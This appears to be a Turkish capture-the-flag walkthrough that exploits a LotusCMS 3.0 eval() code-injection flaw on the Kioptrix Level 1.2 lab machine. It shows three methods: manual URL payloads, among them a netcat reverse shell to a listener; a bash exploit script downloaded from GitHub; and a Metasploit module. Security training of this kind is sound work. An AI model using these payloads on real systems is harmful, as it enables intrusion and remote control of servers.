Yazıda kullanılan Kioptrix: Seviye – 1.2 (#3) sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
Web uygulamasının kaynak kodlarına bakıldığında Lotus CMS kullanıldığına dair bir ipucu görülmektedir.
“whatweb” aracı ile de Lotus CMS kullanılmış olabileceği görülmektedir.
whatweb 10.10.2.179
Lotus CMS üzerindeki zafiyetlerin istismarı için Google’da araştırma yapıldığında 2 bağlantıya yönlendirilmektedir.
Mevcut zafiyet LotusCMS 3.0‘daki Router() fonksiyonunda bulunmaktadır. “page” parametresine verilen PHP kodu bir kontrolden geçmeden eval() fonksiyonuna gönderilmektedir.
1) Manuel Olarak Lotus CMS İstismarı
URL’e hata verdirmek için tırnak işareti atıldığında eval() fonksiyonunun beklenmediği bir veri ile karşılaştığı görülmektedir.
http://10.10.2.179/index.php?page=index’
Warning: Unexpected character in input: ”’ (ASCII=39) state=1 in /home/www/kioptrix3.com/core/lib/router.php(26) : eval()’d code on line 1
LotusCMS üzerinde zafiyetin mevcudiyetinin keşfi için basit bir test ifadesi ekrana yazdırılır.
page=index’);${print(‘MERHABA’)};#
http://10.10.2.179/index.php?page=index%27%29%3B%24%7Bprint%28%27MERHABA%27%29%7D%3B%23
Sonra da ekrana yazı yazdırmak yerine herhangi bir komut çalıştırılabilir. Örneğin, ters bağlantı sağlayacak bir “nc” talebi başlatılabilir.
Öncelikle bu talebi yakayacak bir dinleyici başlatılır.
nc -nlvp 9443
Sonra da “nc” başlatılarak dinleyiciye ters bağlantı talebinde bulunulur.
page=index’);${system(‘nc -e /bin/bash 10.10.2.128 9443’)};#”
http://10.10.2.179/index.php?page=index%27%29%3B%24%7Bsystem%28%27nc%20-e%20%2fbin%2fbash%2010.10.2.128%209443%27%29%7D%3B%23%22
2) Github’dan İndirilen Bash Betiği ile Lotus CMS İstismarı
Tespit edilen Github linkindeki istismar kodu indirildiğinde, bash betiğinin kullanımı görülmektedir.
wget https://raw.githubusercontent.com/Hood3dRob1n/LotusCMS-Exploit/master/lotusRCE.sh
head -20 lotusRCE.sh
Betik çalıştırılabilir hale getirildikten sonra çalıştırılır.
ls -la lotusRCE.sh
chmod 744 lotusRCE.sh
./lotusRCE.sh 10.10.2.179 /
“/” dizininde PHP kod enjeksiyonu zafiyetinin olduğu görülmektedir.
Ters bağlantının sağlanacağı IP ve port bilgisi belirtilir.
Dinleyici başlatılır.
nc -nlvp 8443
Bağlantı yöntemi (nc -e) seçimi yapıldığında ters bağlantı edilmiş olur.
id
uname -a
3) MSF lcms_php_exec Modülü İle Lotus CMS İstismarı
“searchsploit” ile Lotus CMS zafiyetleri araştırıldığında bir ruby kodu tespit edilir.
searchsploit lotuscms
MSF lcms_php_exec istismar modülü seçilir.
search LotusCMS
use exploit/multi/http/lcms_php_exec
show options
IP ve URI ayarı yapılarak istismar gerçekleştirilir.
set RHOST 10.10.2.179
set URI /
exploit
getuid
shell
uname -a
tail -3 /etc/passwd
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- Typhoon: 1.02: https://www.vulnhub.com/entry/typhoon-102,267/
Kaynak:
https://kongwenbin.wordpress.com/2016/10/30/writeup-for-kioptrix-level-1-2-3/
https://www.doyler.net/security-not-included/kioptrix-level-1-2-3-walkthrough